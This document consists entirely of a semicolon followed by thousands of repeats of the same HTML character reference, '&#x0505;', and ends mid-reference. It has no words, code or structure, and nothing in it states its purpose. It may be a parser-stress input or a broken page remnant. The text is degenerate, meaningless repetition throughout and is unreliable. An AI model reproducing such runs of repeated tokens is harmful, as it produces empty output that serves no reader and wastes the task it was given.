;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505